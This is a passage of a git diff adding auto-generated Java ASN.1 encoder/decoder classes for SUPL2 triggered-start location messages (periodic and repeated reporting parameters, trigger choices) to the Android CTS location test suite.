+
+ @Override public boolean isExplicitlySet() {
+ return getIntervalBetweenFixes() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIntervalBetweenFixes();
+ }
+
+ @Override public void setToNewInstance() {
+ setIntervalBetweenFixesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PeriodicParams.intervalBetweenFixesType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "intervalBetweenFixes : "
+ + getIntervalBetweenFixes().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getStartTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStartTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setStartTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PeriodicParams.startTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "startTime : "
+ + getStartTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class numberOfFixesType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_numberOfFixesType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public numberOfFixesType() {
+ super();
+ setValueRange("1", "8639999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_numberOfFixesType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_numberOfFixesType != null) {
+ return ImmutableList.of(TAG_numberOfFixesType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new numberOfFixesType from encoded stream.
+ */
+ public static numberOfFixesType fromPerUnaligned(byte[] encodedBytes) {
+ numberOfFixesType result = new numberOfFixesType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new numberOfFixesType from encoded stream.
+ */
+ public static numberOfFixesType fromPerAligned(byte[] encodedBytes) {
+ numberOfFixesType result = new numberOfFixesType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "numberOfFixesType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class intervalBetweenFixesType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_intervalBetweenFixesType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public intervalBetweenFixesType() {
+ super();
+ setValueRange("1", "8639999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_intervalBetweenFixesType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_intervalBetweenFixesType != null) {
+ return ImmutableList.of(TAG_intervalBetweenFixesType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new intervalBetweenFixesType from encoded stream.
+ */
+ public static intervalBetweenFixesType fromPerUnaligned(byte[] encodedBytes) {
+ intervalBetweenFixesType result = new intervalBetweenFixesType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new intervalBetweenFixesType from encoded stream.
+ */
+ public static intervalBetweenFixesType fromPerAligned(byte[] encodedBytes) {
+ intervalBetweenFixesType result = new intervalBetweenFixesType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "intervalBetweenFixesType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class startTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_startTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public startTimeType() {
+ super();
+ setValueRange("0", "2678400");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_startTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_startTimeType != null) {
+ return ImmutableList.of(TAG_startTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new startTimeType from encoded stream.
+ */
+ public static startTimeType fromPerUnaligned(byte[] encodedBytes) {
+ startTimeType result = new startTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new startTimeType from encoded stream.
+ */
+ public static startTimeType fromPerAligned(byte[] encodedBytes) {
+ startTimeType result = new startTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "startTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PeriodicParams = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java
new file mode 100755
index 0000000..1c7d808
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/RepeatedReportingParams.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class RepeatedReportingParams extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_RepeatedReportingParams
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RepeatedReportingParams() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RepeatedReportingParams;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RepeatedReportingParams != null) {
+ return ImmutableList.of(TAG_RepeatedReportingParams);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RepeatedReportingParams from encoded stream.
+ */
+ public static RepeatedReportingParams fromPerUnaligned(byte[] encodedBytes) {
+ RepeatedReportingParams result = new RepeatedReportingParams();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RepeatedReportingParams from encoded stream.
+ */
+ public static RepeatedReportingParams fromPerAligned(byte[] encodedBytes) {
+ RepeatedReportingParams result = new RepeatedReportingParams();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private RepeatedReportingParams.minimumIntervalTimeType minimumIntervalTime_;
+ public RepeatedReportingParams.minimumIntervalTimeType getMinimumIntervalTime() {
+ return minimumIntervalTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RepeatedReportingParams.minimumIntervalTimeType
+ */
+ public void setMinimumIntervalTime(Asn1Object value) {
+ this.minimumIntervalTime_ = (RepeatedReportingParams.minimumIntervalTimeType) value;
+ }
+ public RepeatedReportingParams.minimumIntervalTimeType setMinimumIntervalTimeToNewInstance() {
+ minimumIntervalTime_ = new RepeatedReportingParams.minimumIntervalTimeType();
+ return minimumIntervalTime_;
+ }
+
+ private RepeatedReportingParams.maximumNumberOfReportsType maximumNumberOfReports_;
+ public RepeatedReportingParams.maximumNumberOfReportsType getMaximumNumberOfReports() {
+ return maximumNumberOfReports_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RepeatedReportingParams.maximumNumberOfReportsType
+ */
+ public void setMaximumNumberOfReports(Asn1Object value) {
+ this.maximumNumberOfReports_ = (RepeatedReportingParams.maximumNumberOfReportsType) value;
+ }
+ public RepeatedReportingParams.maximumNumberOfReportsType setMaximumNumberOfReportsToNewInstance() {
+ maximumNumberOfReports_ = new RepeatedReportingParams.maximumNumberOfReportsType();
+ return maximumNumberOfReports_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMinimumIntervalTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMinimumIntervalTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setMinimumIntervalTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RepeatedReportingParams.minimumIntervalTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "minimumIntervalTime : "
+ + getMinimumIntervalTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaximumNumberOfReports() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaximumNumberOfReports();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaximumNumberOfReportsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RepeatedReportingParams.maximumNumberOfReportsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maximumNumberOfReports : "
+ + getMaximumNumberOfReports().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class minimumIntervalTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_minimumIntervalTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public minimumIntervalTimeType() {
+ super();
+ setValueRange("1", "604800");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_minimumIntervalTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_minimumIntervalTimeType != null) {
+ return ImmutableList.of(TAG_minimumIntervalTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new minimumIntervalTimeType from encoded stream.
+ */
+ public static minimumIntervalTimeType fromPerUnaligned(byte[] encodedBytes) {
+ minimumIntervalTimeType result = new minimumIntervalTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new minimumIntervalTimeType from encoded stream.
+ */
+ public static minimumIntervalTimeType fromPerAligned(byte[] encodedBytes) {
+ minimumIntervalTimeType result = new minimumIntervalTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "minimumIntervalTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maximumNumberOfReportsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maximumNumberOfReportsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maximumNumberOfReportsType() {
+ super();
+ setValueRange("1", "1024");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maximumNumberOfReportsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maximumNumberOfReportsType != null) {
+ return ImmutableList.of(TAG_maximumNumberOfReportsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maximumNumberOfReportsType from encoded stream.
+ */
+ public static maximumNumberOfReportsType fromPerUnaligned(byte[] encodedBytes) {
+ maximumNumberOfReportsType result = new maximumNumberOfReportsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maximumNumberOfReportsType from encoded stream.
+ */
+ public static maximumNumberOfReportsType fromPerAligned(byte[] encodedBytes) {
+ maximumNumberOfReportsType result = new maximumNumberOfReportsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maximumNumberOfReportsType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("RepeatedReportingParams = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerParams.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerParams.java
new file mode 100755
index 0000000..67e0189
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerParams.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TriggerParams extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_TriggerParams
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "TriggerParams: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public TriggerParams() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TriggerParams;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TriggerParams != null) {
+ return ImmutableList.of(TAG_TriggerParams);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new TriggerParams from encoded stream.
+ */
+ public static TriggerParams fromPerUnaligned(byte[] encodedBytes) {
+ TriggerParams result = new TriggerParams();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TriggerParams from encoded stream.
+ */
+ public static TriggerParams fromPerAligned(byte[] encodedBytes) {
+ TriggerParams result = new TriggerParams();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $PeriodicParams(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new PeriodicParams();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PeriodicParams.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $AreaEventParams(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new AreaEventParams();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AreaEventParams.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isPeriodicParams() {
+ return !hasExtensionValue() && Select.$PeriodicParams == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isPeriodicParams}.
+ */
+ @SuppressWarnings("unchecked")
+ public PeriodicParams getPeriodicParams() {
+ if (!isPeriodicParams()) {
+ throw new IllegalStateException("TriggerParams value not a PeriodicParams");
+ }
+ return (PeriodicParams) element;
+ }
+
+ public void setPeriodicParams(PeriodicParams selected) {
+ selection = Select.$PeriodicParams;
+ extension = false;
+ element = selected;
+ }
+
+ public PeriodicParams setPeriodicParamsToNewInstance() {
+ PeriodicParams element = new PeriodicParams();
+ setPeriodicParams(element);
+ return element;
+ }
+
+
+
+ public boolean isAreaEventParams() {
+ return !hasExtensionValue() && Select.$AreaEventParams == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isAreaEventParams}.
+ */
+ @SuppressWarnings("unchecked")
+ public AreaEventParams getAreaEventParams() {
+ if (!isAreaEventParams()) {
+ throw new IllegalStateException("TriggerParams value not a AreaEventParams");
+ }
+ return (AreaEventParams) element;
+ }
+
+ public void setAreaEventParams(AreaEventParams selected) {
+ selection = Select.$AreaEventParams;
+ extension = false;
+ element = selected;
+ }
+
+ public AreaEventParams setAreaEventParamsToNewInstance() {
+ AreaEventParams element = new AreaEventParams();
+ setAreaEventParams(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "TriggerParams = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerType.java
new file mode 100755
index 0000000..7818759
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/TriggerType.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TriggerType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ periodic(0),
+ areaEvent(1),
+ ;
+
+ Value(int i) {
